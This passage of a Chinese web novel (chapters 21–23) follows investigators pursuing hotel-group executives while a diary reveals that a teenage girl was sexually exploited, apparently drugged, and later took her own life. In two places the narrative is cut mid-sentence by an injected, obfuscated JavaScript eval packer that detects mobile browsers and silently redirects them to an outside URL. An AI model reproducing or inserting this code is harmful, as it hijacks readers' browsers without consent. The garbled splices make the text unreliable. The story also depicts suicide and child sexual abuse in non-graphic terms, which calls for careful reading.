刘毅:“可叹世界不是做酒店、餐饮这些的吗?怎么会和房地产有关?” 安小贝:“叹世界其实是做过房地产的,但只是投资,后来不知道是什么原因,不了了之,所以也很少有人记得。” 陈莉:“在樱桃公寓这件事上也是一样的。本来那块地的开发权是公开竞标的,以花火地产的资质,没有什么竞争力。可开标的那天,情况突然逆转,花火地产竞标成功,而且整个开发过程都十分顺利。银行的贷款就像是他家水龙头里的水,源源不断地滚出来。” 安小贝:“老大,需要联系经济犯罪科一起联合调查吗?” “还不是时候,”邝斯年低头看着面前的资料,问陈莉,“能够确定照片上戴着手表的人是金培立吗?” “可以的,但我还需要些时间。另外,我还有一件事,想听听老大你的意见。” 邝斯年:“什么事?” 陈莉:“明天下午,在叹世界凤鸣洲际酒店有一场高新科技论坛,到时候不仅科技大佬会参加,裴岛的企业代表和投资人也都会去,其中就包括刕康耀。” 邝斯年:“你是说,那个很可能纹有三足金乌纹身的给力消监事?” 陈莉:“对。不仅如此,我收到消息,受邀名单里还包括何炎彬,他们对智能社区感兴趣,应该是想找合作伙伴。另外,金培立作为叹世界酒店事业群的总经理,遇到这样的大型活动,他也会在现场。” 邝斯年笑了:“你野心不小啊。” 陈莉:“所以需要大家配合啊,老大。” 刘毅又吃起了能量棒,听得云里雾里,问她:“你该不会想现场掀那群老大的衣服吧?就为了个纹身,前途都不要了?” 陈莉没想到她这么天马行空,不由得翻起了白眼。 她从上衣口袋处取出一张卡片,上面用打印字体贴出来一句话:明天的科技论坛,请务必参加,我会告诉你背后的真相。 邝斯年:“哪来的?” “一大早送来的,”安小贝指着办公室角落的花,说,“值班的同事只看到一个形似女孩子的身影,还来不及追出去,人就已经放下花束跑了。” 邝斯年翻到卡片的背面。 背面的一角印着一朵紫色的鸢尾花。 21. 茶匙 021 “童鸢,带我去个地方。” “你想去哪就自己去啊,为什么要我带你?” 司马荷生的阳光房里,童鸢斜靠在躺椅上敲电脑,随口便给金诺贤来了个毫无感情的拒绝。反正熟悉之后,她拒绝他的次数多了,顶起嘴来倒是寻常。 金诺贤还在看他的小说,闻言从一旁的椅子上弹起,不可思议地看向她:“我被你五嫂软禁了,你不知道?” 童鸢:“你妈就你妈,什么时候成我五嫂?还有,软禁那就软禁了呗,你自己有手有脚的,难道不会跑?” “我的车和驾照被没收了……你该不会让我自己走出去吧,这里可是达摩山,连蚊子都打不到顺风车的达摩山。” “你想去哪?”童鸢扫了一眼最新的新闻直播标题,合上了电脑。 “今天凤鸣洲际酒店有大活动,我妈他们全都要出席,没有人管得着我。这是个千载难逢的机会,我得去办点事,”似乎是怕童鸢不答应,金诺贤一改往常吊儿郎当的风格,又补充了句,“很重要的事,你去了就知道了。” “有多重要,你先把话说清楚。” 金诺贤垂下眼睫。他沉默数秒,说:“和书艺有关。” “书艺?” “书艺有个奶奶,一直躺在医院里。现在书艺走了,我得去看看她。” 童鸢没想到还有这种事,她更好奇的是:“既然还有这么重要的亲人,书艺为什么要跳下去?” “那天,我听她说……” 金诺贤低下了头,抬手捂着额头。细碎的刘海和高耸的眉骨遮挡住了他的双眼。童鸢看不清他的表情,只觉得他很痛苦,似乎有很多事藏在这眉骨下,无法挖出来给旁人看。 可童鸢不想打断他,只静静地靠在一旁,等他说完。 良久,金诺贤说:“书艺跳下去之前,跟我说,奶奶已经昏迷好几天了,不吃不喝,全靠输液,大概很快就要走了。所以……她觉得自己也该走了……” 童鸢没料到是这样的事,嘴巴张了张却不知道该说什么。 “这么多天了,我一直被困在这里,也不知道奶奶现在怎么样,预存的治疗费还够不够,”金诺贤猛地一吸鼻子,抬头一笑,“童姐,你是有驾照的吧?” 童鸢:“……有倒是有……可我该怎么把你运出去?” 这是答应了。 金诺贤立刻恢复了原来歪歪斜斜的笑容,说:“六婶临上班前是不是借给了你一辆车?” 童鸢将眼珠子移到了另一边。 金诺贤:“你别躲,吃早餐的时候,我可都听见了。” 据童鸢观察,金诺贤留在司马荷生家里的时间比在自己家里的都多。肖月娥对此似乎没有什么意见。不,应该说她本人在家的时间也不多。而一旦她的车开进大门,金诺贤总有办法在她发现之前挪窝。 司马荷生作息规律,也习惯了金诺贤过来蹭饭,就连早餐都会给他备上一份。所以当司马荷生递给童鸢车钥匙的时候,金诺贤理所当然地把借车的事记了下来。 他说:“六婶怕你去医院换药不方便,连自己的车都能借给你。你就载我一趟,又怎么了?” 童鸢嘴角一抽:“这两者之间有什么必然的逻辑关系吗?” “没有。”金诺贤理直气壮。 “……假如我帮了你,你用什么报答我?” “以身相许?” 很好,很金诺贤,自信,自恋,自大。 童鸢:“滚。” 金诺贤耷拉下嬉笑的唇角,满脸认真:“我答应你,以后不管你要做什么,只要不害人命,我都不会干涉你。” 童鸢眉毛一挑,他似乎知道什么。可金诺贤不过18岁?比自己还小,过去的事情他能知道多少? 她叹了口气:“可你一个一米九的大活人,我要怎么暗度陈仓?你别忘了,我可是个病患,太高难度的事情我可做不来。” “你按我的办法去做就行。” 说完,金诺贤先她一步遛了。 童鸢等他走了有十来分钟,这才起身收拾了背包。梳妆台上放着司马荷生给她的车钥匙,童鸢犹豫了片刻,直到时间快要来不及,她才将它拿起。 地下车库里,司马荷生常用的SUV已经开走,只留了一台八座商务车,一台耗油大奔,还有一台不怎么显眼的低耗能小轿车。 对于学生党来说,不用怎么花钱加油的小轿车最为合适。司马荷生借给她的,正是这台。 她打开车尾箱,提前躲起来的金诺贤便大摇大摆地躺了进去。童鸢看着角落处的监控摄像头,叹了口气,心想这家伙是有多信任司马荷生才能长出如此肥大的胆。 童鸢骗过门卫,出了达摩山,先去私家医院换了药,然后便载着金诺贤一路飞奔到市一。 一下了车,金诺贤便戴起了帽子,从停车楼一路往住院部的护士站赶。相熟的护士刚好值班,一看到金诺贤就认出了他:“你总算来了。” “奶奶怎么样了?” “我们可能要换一个地方说话。” 太平间的空气很冷,郑千易的名牌被标在格子上。 护士将郑奶奶取出来,说:“昨天刚走的,还算安详,没什么痛苦。我们知道段小姐出事了,本来想打你电话,可你的电话也一直打不通。” 金诺贤:“……不好意思,手机坏了。” 童鸢知道,他的手机被没收了,却不好明说。 “段小姐预留的医疗费没有用完,你到医生那里领了死亡证明,就去办手续,带郑奶奶去安息吧。”护士说完,便步履匆忙地离开了太平间。 金诺贤显然没有处理过这种事,只静静地看着柜子里的人。 童鸢看不下去,从他手中取过单子:“我来吧。” 她拉住他的手,将他带离冰冷的房间。 金诺贤的手机被没收了,钱包自然也不在身上。段书艺似乎临死前就已经做好了准备,不用他们垫上一分钱,还多出来了二十来万。这二十来万颤巍巍地滚过童鸢的账户,然后又颤巍巍地滚进墓园的接待中心。 买了块双人墓地,交完十年管理费,钱已经所剩无几。童鸢换来了两条冰棍,和金诺贤坐在即将要立碑的墓地前,放空。 童鸢:“书艺会喜欢这里的吧,你看,这个角度还能看到体育馆,免费听演唱会。” 金诺贤:“是啊,可惜她现在还来不了,侦查局那边似乎还不打算放人。” 童鸢:“等她好了,我们再来一趟呗。” 金诺贤:“不管你们信不信,她确实是自己跳下去的。” “总得有个理由吧,”童鸢依旧眺望着几公里外的体育馆,假装漫不经心地提到,“比如那些照片。” 金诺贤:“你觉得是我拍的,还是觉得是我打印的?当然,也可能都是我做的。我就是个除了坏事什么都做不成的纨绔子弟。” “弟弟啊,我从来没觉得你是纨绔子弟。虽然有时候有点登,说话表情全都很欠揍,可你救过我的事,我这辈子都不会忘记。你是个善良的人。只有善良的人才会为身边的事情感到痛苦。” 风卷着山下修建草坪的味道将童鸢包围,耳边只有杉树和铁树枝叶沙沙的声音。 童鸢肩头一沉,猫毛一般的发丝沾在她脖子上。 “那天晚上,我们本来是要一起庆祝她十九岁生日的。”金诺贤终于开了口,“她说她讨厌厨房的油烟味,回到家后要洗澡,让我九点之后再过去。” 这个缺口一开,心里的话就像缺堤的洪水般涌出来。 “九点就九点吧,反正我们都习惯熬夜。可我到了之后发现她很不对劲。她太嗨了,喝不喜欢喝的红酒,吃不喜欢吃的生牛排。她说这样才算是十九岁。她还向我告白。这不是第一次了……我也记不清到底是第几次。我像过去那样拒绝了她。” “她开始笑,笑着拿出一个快递盒,笑着将里面的照片撒出来,撒得到处都是。那场景……我受不了了,我推开家门要走。她突然抱住了我,对我说再见。那声再见轻飘飘的,像鬼魂在低语。我心绪不灵,下意识地去抓她,却只抓到她白色的睡袍。” “她跑到了窗前,回头对着我笑,笑着说她该走了,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912527|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后就……” “阿贤,”童鸢打算了他,“够了。” “你不是想听吗?我现在就告诉你啊。我其实是喜欢她的,很喜欢啊,从第一次见面就很喜欢啊。可是……那些人里有姓金的,”金诺贤从她肩上抬起头,声音愈发沙哑,“我和他们一样的姓,流着一样的血……我就不该留在她身边,我觉得自己好恶心,我配不上她的喜欢……” “书艺她……” “不是她的错,从来都不是。她不是网上所传的那么不堪,她是无辜的,她是被害者,你要相信我!可我什么都不能说,什么都不能做,就连留在她身边,都是错的!” “阿贤,我相信你……” “阿鸢,她在我包里偷偷藏了一本笔记,你要看吗?” 童鸢一怔:“笔记?” “对,笔记,她亲手写的笔记,现在是我一个人的秘密。。” “我看,”童鸢坚定地看着金诺贤的双眼,“从此以后,它将不再是你一个人的秘密。一个人的秘密太重了……” “金诺贤到市一了。” 安小贝接起刘毅打来的电话,将手机交给邝斯年。 邝斯年正低头看着手机地图上的一个紫色小圆点。 他一整天都在忙,方才听到“滴”的一声,显示对方心率异常。他记得童鸢今天是要去换药的,于是打开地图,想看看她此刻的状态。没想到刚一打开,小圆点就飘到了墓园上。 邝斯年收起手机,接过电话,电话的另一头传来刘毅的声音:“老大,我按照你的吩咐守在市一,果然来了家属处理郑千易的后事,是金诺贤,还有……” “童鸢也去了,对吗?” “呃……我猜,大嫂只是做个顺水人情,毕竟金诺贤被他家人盯得紧,不找个帮手估计也出不了达摩山……” “然后?”邝斯年干脆地打断了刘毅的话。 刘毅明显有些错愕,呃呃呃呃了半晌,终于说:“他们很快处理完了郑千易的身后事,坐在墓地前聊天。墓地的收音效果不太好,但果然,段书艺留了东西给金诺贤,好像是一本笔记。金诺贤要给大嫂看那本笔记,就现在。” 刘毅越说越兴奋,就差直接叫邝斯年去主动联系童鸢,或者干脆现在就冲过去生擒不远处的金诺贤。 邝斯年立马制止他:“你什么都不要做。不要打草惊蛇,剩下的交给我来处理。既然人已经接走,事情已经办完,市一那边也没有必要继续盯了,你先跟着金诺贤。无论发生什么事,都不要轻举妄动,先联系我。” “哦,好吧……” “还有,”邝斯年加了句,“不要让童鸢发现你跟着。” 他明明说过不会监视她的,万一因为正常的侦查行为被误会,他就算浑身是嘴都说不清。但这句话,他没有跟刘毅说,只挂断了电话,将手机还给安小贝。 叹世界凤鸣洲际酒店的周围已经完成了部署,那个在侦查局门口留下花和卡片的人却迟迟没有出现。 这场论坛从下午两点开始,一直持续到晚上九点。叹世界的所有高层,除了尚在昏迷的金少立,五嫂肖月娥、老三金培立、老二金恒立和曾秀芬都有出席。 就在开幕前的红毯仪式上,陈莉只一眼便留意到金培立手腕上的白金腕表。 金培立的身边还站着衣着低调的何炎彬,以及两手都戴满了大金刚菩提的光头刕康耀。 刕康耀刚去完健身房,邝斯年的手机上便收到了便衣同事传来的照片。那是张教练角度的肌肉照,不仅拍到了刕康耀那尚未成型的背部肌肉,还拍到了一个模模糊糊的纹身。 纹身显然已经洗过,但还新鲜着,应该是段书艺出事之后才想起要洗的。幸好原来的颜色够重,即使洗过,也能看清原来的图案。 论坛过半,就在侦查小队准备利用茶歇间隙行动时,全场的屏幕,无论是酒店外的宣传大屏还是每个电梯口的宣传屏幕统统发生了故障。 短暂的雪花后,段书艺和海秀仪的脸同时出现在了所有屏幕上。 她们笑着,双唇微动:“好久不见。你,还认得我吗?” 22. 茶匙 022 画面中的段书艺和海秀仪身穿白衣,披散着头发。 她们的头发是秀美的,整洁的,带着绸缎般的光泽,被精心呵护。 她们的脸是白的,周围的环境也是白的,更显得双眼有神,双唇红润。 她们笑着,像共脑的双胞胎,连嘴角的弧度,运动的速度和角度,都是一样的。 她们肩并着肩。 她们说:“你们,有没有想起我?” 全场陷入死寂,直到酒店外接连响起数道清脆的撞击声,有车辆追尾,而且不止一台。它们九曲十八弯,将原来的单向双车道堵得死死的。霎时间,楼下的喇叭声炸开了锅。 楼上,有人大喊:“故障吗?中控呢?中控台在做什么?” 后台登时兵荒马乱。 段书艺:“网络上的流言蜚语,我不打算自证。” 海秀仪:“我们一家的死,自有人能找到答案。” 段书艺:“我们想说的是关于之前的事,我加入节目组之前的事。” 海秀仪:“我加入叹世界集团之后的事。” 段书艺:“你们一定正想方设法断电。” 后台的工作人员怔怔地看向屏幕。 海秀仪:“所以我们也不打算多说。” 段书艺:“有一本重要的笔记正藏在这栋大厦的某个角落。” 海秀仪:“那里有完整的名单……” 滋啦,凤鸣洲际酒店内外的所有屏幕同时断电,画面一片漆黑,连声音都没了。 金培立手中拿着对讲机,青筋毕现,他低头看着手腕上的白金腕表,将手上的对讲机一把扔了,随后抬手要将那腕表摘下。可他的手在抖,还未等他把金属卡扣打开,陈莉已经扣住了他:“金培立先生,麻烦跟我去侦查局一趟,协助调查。” 刕康耀在段书艺出现的时候就已经趁乱跑向了停车场。可外头早已堵得水泄不通,他人和车都被拦在出口。 他骂司机:“你这车技怎么当的司机?快想想办法啊。” 司机略显无辜:“老板,我也不想的,外头连环追尾,得等拖车来了才可能松动。” “什么?谁这么不长眼?” “带头的好像就是叹世界自己的商务车……” 司机的声音越来越弱。忽然,窗口传来嘟嘟的敲击声。 “谁啊?” 刕康耀毫不客气地朝窗外骂去,正巧撞上安小贝的微笑和必须配合的探员工作证。 楼上,何炎彬没有动,甚至还吃了块蛋挞。 作为品牌总监,五嫂肖月娥不得不和她的公关经理们忙碌起来,唯有老二金恒立和他的老婆曾秀芬,双手抱胸,一副看好戏的样子。 邝斯年带人封锁了整个凤鸣洲际,直到他们在大厅前台旁的绿植里找到了一个黑色的塑料袋。 塑料袋里包着一沓照片和笔记。黑色的不规则边框显示,这份笔记是复印件,照片也很可能有备份。邝斯年快速翻动笔记,直到停在最后一页。最后一页印着一行字:这是前菜,如果还想要,请亮出你们的诚意。假如你们选择不了了之,我们只能另寻出路。 同样的笔记,金诺贤没有放在自家别墅里,而是藏在了童鸢所住客房的抽屉夹层。 童鸢终于明白他为什么老是盯着自己。她更觉得不可思议的是:“你就不怕被司马夫人发现?” “放在我家才是真危险。六婶这里没什么客人留宿,而她公司不做内衣裤,不怎么用到抽屉,放这里反而是最安全的。当然,你来了之后,我就不确定了。不过现在看来,好像是我多虑了。”金诺贤说着,略带挑衅地看着童鸢笑。 “……是是是,我来到这里的第一件事应该是来一场地毯式搜索,你是这个意思对吧?” 金诺贤的笑由挑衅变成了苦笑。他把笔记放在童鸢手上,然后便走出了房门。 “嘿,”童鸢叫住了他,“你这就走了?不怕我毁尸灭迹?” “我不想再看第二遍,”金诺贤斜靠在墙边,也不顾地上冷,直直坐在了门外,“但你放心,我不走。我得确保这份笔记完好无损。” 金诺贤留在外面,童鸢反倒放心。 不是因为她需要人陪,而是怕瓜田李下,万一有什么损伤,她怎么说都说不清。 她摸着封面已经褪色的金色印刷体,隐约看到2020~2025的字眼。这与其说是笔记,不如说是一本五年日记。 翻开日记,段书艺的字迹算不上漂亮,但很工整,像是学生为了考试特意练的字,生怕阅卷老师看不清楚,一撇一捺都写得认真。 ——十四岁的第一天,我被退学了。 因为我和全校第一打架,划花了她的脸。老师都说她学习好,是我的错。我不明白这两件事是怎么联系在一起的。我讨厌学校,因为学校讨厌我。 ——元旦休息三天。 不对,接下来我可以休息好多天。我可以天天往监狱跑。可爸爸和舅舅不喜欢见到我,总要赶我走。我没告诉他们被退学的事,也没告诉他们奶奶身体的事。他们留给我的钱花得差不多了。等元旦过完,我就去找工作。 ——没有人要我。 他们让我回学校。可我初中已经念完,也没有高中愿意要我。我不开心,我饿了,我啃了个馒头。 ——春天来了,事情有了转机。 社工姐姐帮我找到了学校,只是学费有点贵。见我发愁,她推荐我去申请那个什么叹世界集团的助学资金,他们还愿意提供半工读的实习机会,不愧是大公司。 能挣钱,我自然很开心,但我担心,如果他们知道了我家里的情况,应该是不会通过的吧。 ——出乎意料!我申请成功了! 从今以后,我又能读书了。说实话,我不觉得读书能有什么用。硬要说的话,是那张文凭有用。外面都说学历贬值,可那是对于大学生而言的。像我们这种人,要是再没个高中学历,别说贬值,我们简直就连人都不是。 言归正传,我明天就能开始上学了。这个学校没有晚自习,等放了学,我就可以去凤鸣洲际酒店的客房部报到。领班说会很苦,可收拾被单就能挣到小费,这不比坐在教室里头强? ——哈哈哈哈哈哈,今天什么都不想写,头好晕,我应该要马上睡觉的,可我很兴奋哦,那就贴张照片吧。 那是张拍立得,段书艺坐在酒店房间里拍的。灯光昏暗,在她旁边露出了一双陌生人的脚。段书艺朝那双脚丫比了个耶。 ——今天打扫完卫生,我又看到那个人。 他长得好好看,呸,我真是肤浅。我上前打招呼,可他好像忘了昨天发生的事,真奇怪。不过没关系,我们还会再见面……的吧。 ——奶奶要动大手术,我得更加努力。小费不能停。今天也是又累又兴奋的一天。 ——小金少爷真的很阔绰,这已经不能算是小费了,我又能稍微放松一个月,不用天天啃馒头。说句题外话,学校食堂的菜真的太贵了。 ——今天的阿贤很奇怪,我跟他表白,他竟然生气了。 但这不是我第一次表白啊,他明明也说喜欢我的,可是为什么换个地方就又不承认了呢?哦,我懂了,他害羞,他只有在黑暗里才会敢跟我袒露心声。 ——阿贤把我推开了 蓝色的字迹晕开,模糊成一团,段书艺画的小人哭着哭着就哭花了。 ——今天在探望奶奶的过程中晕倒了。万幸的是旁边就有医生。医生问起了我最近的饮食,问我是不是咖啡喝太多了? 我最讨厌咖啡了,怎么会喝咖啡呢? 他又问我最近是不是心情不好,有没有出现幻觉之类的,需不需要去看心理医生。 可我好得很啊,为什么要看心理医生?我还要养足精神,照顾奶奶。 他没有反驳我,最后问我是不是总是出现心率异常的情况,还拉我去做尿检,要看看我是不是某些指标异常。真是胡说八道。我像是这么虚的人吗?不过,阿贤过来接我了,开心。 ——检查结果出来,没有异常,医生终于不再多嘴了,只提醒我平时注意均衡饮食,要额外补充铁和钙,小心贫血和心脏问题,不能熬夜,不能纵欲过度。 我有点听不懂他在说什么。 ——真奇怪,明明奶奶的治疗费要花很多钱,可是我的钱却似乎越存越多。 今晚,我跟阿贤提起存钱的事。昏暗的灯光下,阿贤的声音有些沙哑,像一下老了几岁。他说没必要存钱,如果觉得现在住的地方不满意,可以给我提供一个更好的住所,还可以买车。可我不需要住得太好,也不需要车,我只需要阿贤。我打开新买的相机,悄悄给我们拍下了照片。 阿贤不让我拍,那我就拍他的纹身。 ——唉,什么时候阿贤才 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那一天的日记里,段书艺只反复出现这同一句话。 从那天以后,她没有再写过只言片语。她只是贴照片,和之前一样的,在床上的照片。唯一不同的是,上面的男人终于有了脸。有些在换衣服,有些在打电话,有些在扣手表,侧脸的,背影的,只要能指明对方的身份,她全都拍。 过去一年多以后,段书艺终于再次拿起了笔:阿贤,对不起,我要把它戒掉,虽然真相很痛苦,戒断的过程也很痛苦,可我不想再这么糊涂下去了,我太笨了,这几年来竟然连自己在做什么都不知道。我讨厌我自己。 又过了一段时间,段书艺写道:我不想再做木偶,和我爸爸、舅舅一样的用完即弃的木偶。可那群人太厉害了。他们有办法将他们俩送进去,就同样有办法让我们都死在监狱里。我死没关系,可是我爸爸呢?我舅舅呢?还有我奶奶,奶奶怎么办? ——人生的第一个一百万,放在奶奶的银行卡里,我安心了。 ——今天家里遭贼了。 丢了一盒钻石,都是那些男人送的,丢了就丢了吧。问题是,我的相机也不见了。我有些害怕,后来一想,应该害怕的人不是我。小偷啊小偷,求求你一定要把这些照片公之于众,或者敲诈勒索,怎么都行,最好把那群人搅得天翻地覆。这样一来,我就不用为难了,阿贤也不用为难了。 ——我和阿贤吵架了。他还是不肯接受我。我……真的这么不堪吗? ——天杀的,来了个情敌! 阿贤看她的眼神很不一样,他不是拿来气我的,他真的对她有不一样的想法。看到他站在那个女孩身后,我恨,我巴不得天上砸口大锅下来把她砸死。可煤气爆炸的时候,我还是忍不住冲了上去……唉,我怎么这么善良呢? 我不后悔救了她,因为她拒绝阿贤的架势实在是太有趣了。看阿贤吃瘪,我心里觉得好受了许多,哈哈哈哈哈我大概是疯了。但这话我是不可能对那女孩说的,我要给自己留点面子。 ——姓童的今天又向我献殷勤了,还是在我狼狈的时候。 说实话,除了阿贤,我好像再无别的朋友……如果她能做我的朋友……不不不不,划掉划掉划掉,她根本不了解我。我们是两个世界的人。 PS,任太的甜甜圈很好吃,做她女儿的话应该会很幸福吧。 ——奶奶又昏迷了。她已经瘦成皮包骨。医生说,让我做好心理准备。啊,什么是心理准备,我该做怎样的心理准备,有没有人可以跟我讲清楚些? ——小偷终于出动了,可ta为什么要把照片寄给我?ta应该寄给报社才对,或者发到互联网上,寄给我算怎么回事?更奇怪的是,小偷只给我发没有男人脸的,有男人脸的呢? ——奶奶彻底没希望了…… ——爸爸和舅舅不听我的电话……我…… ——我悄悄打了个赌,如果阿贤这次还是不接受我,我就带着那些照片,跳下去。反正我的世界已经这样了,我要指证那群人,轰轰烈烈地,让他们无法遮掩过去。如果他接受我,我就……我不知道……大概永远不会有这种可能吧。 最后三行字: 永别了,这个世界。 阿贤啊,我讨厌你,我决定把笔记和照片都留给你,永远地,留给你。 你这个胆小鬼。 23. 茶匙 023 刕康耀:“段书艺?没听说过。” 何炎彬:“我从来不关注什么网红的,更不知道有段书艺这个人。” 金培立:“你稍等一下,我让人事部查查。哎哟不好意思,人事档案只保存两年,现存的档案里没这个人。” 刕康耀:“啊,你说那个纹身?我一直混的那帮兄弟全都这么纹的。要不要我拉几个过来看看?为什么忽然洗掉?腻了呗,想换一个,这不是常有的事?” 金培立:“这手表不是我的,我只是偶尔借来戴。你说什么时候?喜欢什么时候戴就什么时候戴,我怎么可能连哪天戴什么表都一一记得。” 何炎彬:“樱桃公寓的那些传言?单元全都已经卖出去了,业主转租给谁,我无权过问。租户的访客?那我就更加不清楚了。” 刕康耀:“你给我看的都是什么照片?P的吧。” 何炎彬:“你说你们没发现PS的痕迹。拜托,现在都人工智能了,你们被骗不挺正常的吗?” 金培立:“对了,我们今天的会场也被AI入侵了,你们要不要拿去参考一下?” 刕康耀:“我为什么急着走?我老婆生病了呀,我当然急。” 金培立:“你问我为什么要摘手表?手表重,戴了一天了,我手腕累。” 何炎彬:“你说那块手表?借花敬佛罢了。不过,何家妹子也没参与叹世界的经营,不能说是存在经济利益关系吧。” 金恒立:“我弟弟□□未成年?邝探员,你是不是搞错了,我弟一把年纪,谁看得上他。小姑娘看到他都掉头跑了。” 曾秀芬:“我确实挺冷静的,我为什么要着急?你可能是搞错了,保持微笑是个成熟职场人应有的素质罢了。” 肖月娥:“那个配送员?啊,我想起来了,这确实是我们线上产品的漏洞,不过……谁能想到他的心理会出问题呢?我们已经安排人手调整排班了,坚决不过度承诺,也绝不压榨员工……诶,麻烦等一下,我接个电话,现在是危机公关的关键时刻,我走不开,你们谅解一下。” “去他爷爷的谅解一下!”陈莉差点把手上的马克杯摔烂。 安小贝双眼通红,一边吸溜着鼻子,一边和信息组的同事进行人物比对和分析。她喃喃道:“不存在PS,明显就是那群人……拍摄时间能从技术上还原出来吗?如果加上鉴定科那边呢?快,试试……” 刘毅:“他们显然早有准备。我们在樱桃公寓和叹世界的酒店外等了那么久,一无所获,他们大概率已经换了地点,或者干脆先暂停活动。” 邝斯年静静地看着面前的材料。这些材料显然是被甄选过的,抽取了能突显刕康耀、何炎彬和金培立的内容。而照片则都清晰地拍下了他们的面孔。 “还差一条线索,一条能将他们捆绑在一起的,无法抵赖的线索。” 邝斯年的视线转移到手机上。 一整个晚上,达摩山灯火通明。 会所里,老佛爷严少敏还在吃饭。她吃得快,吃得多,但丝毫不妨碍她一顿饭吃上两个多小时——从下午五点半一直吃到晚上七点多。 她就这么自己一个人静静地吃着,由佣人伺候着,对于谁来了谁没来,只客套打过招呼便继续默不作声地吃自己的。 流水的子孙,铁打的老佛爷,说的便是金家这张大圆桌。 可今晚的老佛爷好像有些不一样。时间已经来到晚上八点,老佛爷却仍在喝汤,桌上的硬菜都没怎么吃,佣人连点心都没敢上。 童鸢吃不下,就连平常最喜欢吃的菜今天也显得索然无味。可她不想让司马荷生失望,只能硬着头皮往下咽。 金诺贤的胃口也没有好到哪。他定定地看着面前的电视,筷子夹着肉,停在嘴边,久久没有下一步。 餐厅里有一块大电视,电视上正播放着今天的新闻。由AI生成的段书艺的脸就这样毫无预兆地出现在金诺贤面前。随后镜头一闪,是金培立和金恒立夫妇被带走的画面。 严少敏将老火汤吸溜到了底,用力放下的碗筷仿佛带着气。 大概是在担心儿子和媳妇的情况?童鸢不懂,她不了解这位隐藏款奶奶的脾性。 严少敏破天荒地问起儿子的状况:“老六不在也就算了,怎么今天连老大、老二和老三也不来?” 金诺贤没有应声,童鸢觉得自己不该出声,只有司马荷生适合回答这个问题。她说:“今天酒店那边有重要活动,大哥他们应该都过去坐镇了吧。” “那你为什么在这?”严少敏问司马荷生。 “妈,你忘了?我早就不是叹世界的管理层了,司马伯爵的生意就已经够我忙的了。” “哼,”严少敏的这声哼得很轻,“他们全都忘了今晚的安排咯,只有我一个老古董记得。” 不是昨天刚过完周五吗?怎么今天周六了也有吃围餐的KPI? 司马荷生不再搭话,严少敏又说:“何玥呢?她应该在家的啊。” “老太太,”旁边的佣人说,“三嫂大概是没有心情吃饭了。” 严少敏:“她养尊处优,凭什么没有心情啊?” “这……”佣人看了眼新闻画面,“大概是为了几位先生的事在苦恼。” 话音刚落,大概在苦恼的人出现在了餐厅门前。何玥推门进来,身后还跟着一对双胞胎,金诺群和金诺宇。 虽说是双胞胎,但两人长得并不像,前者瘦瘦高高,后者像中了膨胀魔咒,活成了个球。他们看上去将近三十岁,算来是童鸢的表哥。 何玥双眼通红,落在严少敏眼中只叫人感到刺眼。 严少敏喝起第二碗汤:“怎么,还在为手表的事情和老三较劲?” 何玥走到自己的位置上,拉开椅子,低着头,不回答。 严少敏:“还委屈上了……都结婚这么多年了,还要将家产分得这么死,那不是自己找罪受?” “在你看来我就是这么小气的人吗?”何玥终于说话,她抬手指着屏幕,“你难道都没看见吗?你儿子进去了。” 其实也不算是进去,侦查局说的是协助调查,但何玥的反应就像是金培立已经被判终身监禁一样。 “你操心这些做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952009|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”严少敏说,“还是说,你们都忘了下周四是什么日子?” 童鸢闻言,抬头对身旁的司马荷生眨眨眼。司马荷生接收到她的信号,在她耳边说:“那天是金老太太的八十五岁生日。对了,你什么都不用准备。” 原来今天这顿饭是为了商量生日的事情,可她至于这么冷嘲热讽吗?就为了个生日?连儿子现在的情况都不关心? 这句话,童鸢没立场说出口,倒是双眼通红的何玥反问她:“你还有做寿的心情?” 严少敏瞪了她一眼,扭头便问司马荷生:“邀请函都已经发出去了吧?” 司马荷生:“我太笨,这种事情还是五嫂比较擅长。” 严少敏:“真是……月娥呢?” 佣人:“还在外头加班呢。” 餐厅里的空气瞬间凝固了。严少敏将手中的筷子往桌上一拍:“不吃了!没一个孝顺的。” 严少敏生气得喘起了大气。她微微站起身来。不知道是不是童鸢的错觉,她感觉金老太太起身的时候,眼神总是有意无意地落在自家人身上。可今晚,就连金诺贤都没有给她反应。童鸢替她感到尴尬。 大约过了三秒钟,严少敏终于坐回座位上,要求盛饭。等饭终于盛上来,她又说:“何玥,你今年是负责哪个环节来着?” 何玥静静地看着严少敏,眼底出现一瞬间的不可置信,然后是了然与失望。她的声音里带着哭腔,却斩钉截铁,说:“今年没有生日派对。” 严少敏瞪大了双眼。 “我吃完了。”金诺贤放下碗筷,不等任何指示,先跑为敬。 经过童鸢身旁时,他还记得朝她使了个眼色。童鸢看懂了,可除非司马荷生开口,她会一直赖在这里,直到看清楚她的家人。 何玥:“妈,现在,就在你大鱼大肉的现在,你两个儿子还被关在侦查局里,根本没空管你那什么大寿。还有大伯……六叔现在还躺在医院里,大伯不仅要处理财务上的事情,还要分担六叔的工作,已经忙得不可开交。现在论坛上又出了这种事……你就算不为你那几个儿子,拜托你也为自己想想吧。再这么无理取闹,搞垮了公司,你又能落得什么好?那么多老人家,也就你最喜欢凑这种热闹。” “不是还有你吗?”严少敏说,“全世界男人死光了,不是还有你们在吗?” “我们……这寿就非做不可吗?等你九十大寿了,我们在做个更大的,可不可以?” 严少敏没说可以,也没说不可以,只狠狠地瞪着何玥,骂她:“死女人。” 